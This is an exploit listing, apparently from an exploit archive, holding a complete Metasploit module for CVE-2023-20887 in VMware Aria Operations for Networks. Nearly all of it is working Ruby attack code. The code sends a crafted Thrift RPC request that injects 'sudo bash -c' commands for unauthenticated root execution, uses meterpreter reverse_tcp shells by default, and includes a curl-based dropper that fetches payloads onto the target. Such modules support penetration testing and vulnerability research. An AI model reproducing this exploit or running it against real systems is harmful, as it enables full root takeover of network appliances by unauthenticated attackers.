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VMWare Aria Operations For Networks Remote Command Execution

VMWare Aria Operations For Networks Remote Command Execution
Posted Jul 26, 2023
Authored by h00die, Sina Kheirkhah | Site metasploit.com

VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a remote unauthenticated attacker to execute arbitrary commands on the underlying operating system as the root user. The RPC interface is protected by a reverse proxy which can be bypassed. VMware has evaluated the severity of this issue to be in the Critical severity range with a maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the context of root on the appliance. VMWare 6.x version are vulnerable. This Metasploit module exploits the vulnerability to upload and execute payloads gaining root privileges. Successfully tested against version 6.8.0.

tags | exploit, remote, arbitrary, root, code execution
advisories | CVE-2023-20887
SHA-256 | 9a55a0c02bec8e756eeac40f3ab58ccc0499c9bbbde741db5c148ebfa61b29ee

VMWare Aria Operations For Networks Remote Command Execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMWare Aria Operations for Networks (vRealize Network Insight) pre-authenticated RCE',
'Description' => %q{
VMWare Aria Operations for Networks (vRealize Network Insight) is vulnerable to command injection
when accepting user input through the Apache Thrift RPC interface. This vulnerability allows a
remote unauthenticated attacker to execute arbitrary commands on the underlying operating system
as the root user. The RPC interface is protected by a reverse proxy which can be bypassed.
VMware has evaluated the severity of this issue to be in the Critical severity range with a
maximum CVSSv3 base score of 9.8. A malicious actor can get remote code execution in the
context of 'root' on the appliance.
VMWare 6.x version are vulnerable.

This module exploits the vulnerability to upload and execute payloads gaining root privileges.
Successfully tested against version 6.8.0.
},
'License' => MSF_LICENSE,
'Author' => [
'Sina Kheirkhah', # Metasploit Module, PoC. (@SinSinology) of Summoning Team (@SummoningTeam) on twitter
'Anonymous with Trend Micro Zero Day Initiative',
'h00die' # msf module updates, corrections, qol
],
'References' => [
['CVE', '2023-20887'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2023-0012.html'],
['URL', 'https://summoning.team/blog/vmware-vrealize-network-insight-rce-cve-2023-20887/'],
['URL', 'https://github.com/sinsinology/CVE-2023-20887']
],
'DisclosureDate' => '2023-06-07',
'Platform' => %w[unix linux],
'Arch' => [ARCH_CMD, ARCH_X64],
'Privileged' => true,
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'Type' => :in_memory,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X64],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'curl', 'printf' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => "\x27"
},
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def check_vrni
res = nil
(2..10).step do |x|
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "/api/vip/i18n/api/v2/translation/products/vRNIUI/versions/6.#{x}.0/locales/en-GB/components/UI"),
'vars_get' => {
'pseudo' => 'false'
}
})
next if res && res.code == 200 && res.body.include?('Failed to get locale list for vRNIUI')

break
end
res
end

def execute_command(cmd, _opts = {})
print_status('Attempting to execute shell')
shell = "[1,\"createSupportBundle\",1,0,{\"1\":{\"str\":\"#{rand(1000..9999)}\"},\"2\":{\"str\":\"`sudo bash -c '#{cmd}'`\"},\"3\":{\"str\":\"#{Rex::Text.rand_text_alpha(4)}\"},\"4\":{\"lst\":[\"str\",2,\"#{Rex::Text.rand_text_alpha(4)}\",\"#{Rex::Text.rand_text_alpha(4)}\"]}}]"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/saas./resttosaasservlet'),
'ctype' => 'application/x-thrift',
'headers' => {
'Accept' => 'application/json, text/plain, */*'
},
'encode_params' => false,
'data' => shell
})
fail_with(Failure::Unknown, 'Communication error occurred') if res.nil?
end

# Checking if the target is potential vulnerable checking the json response to contain the vRNIUI string
# that indicates the target is running VMWare Aria Operations for Networks (vRealize Network Insight)
def check
print_status("Checking if #{peer} can be exploited.")
res = check_vrni
return CheckCode::Unknown('No response received from the target!') unless res

body = res.get_json_document
if body.nil? || body['data']['productName'] != 'vRNIUI'
return CheckCode::Safe('Target is not running VMWare Aria Operations for Networks (vRealize Network Insight).')
end

version = Rex::Version.new(body['data']['version'])
return CheckCode::Vulnerable("VMWare Aria Operations for Networks (vRealize Network Insight) version #{version} was found.") if version >= Rex::Version.new('6.2') && version <= Rex::Version.new('6.10')

CheckCode::Appears("Target is running VMWare Aria Operations for Networks (vRealize Network Insight) version #{version}")
end

def exploit
case target['Type']
when :in_memory
print_status("Executing #{target.name} with #{payload.encoded}")
execute_command(payload.encoded)
when :linux_dropper
print_status("Executing #{target.name}")
execute_cmdstager
end
end
end
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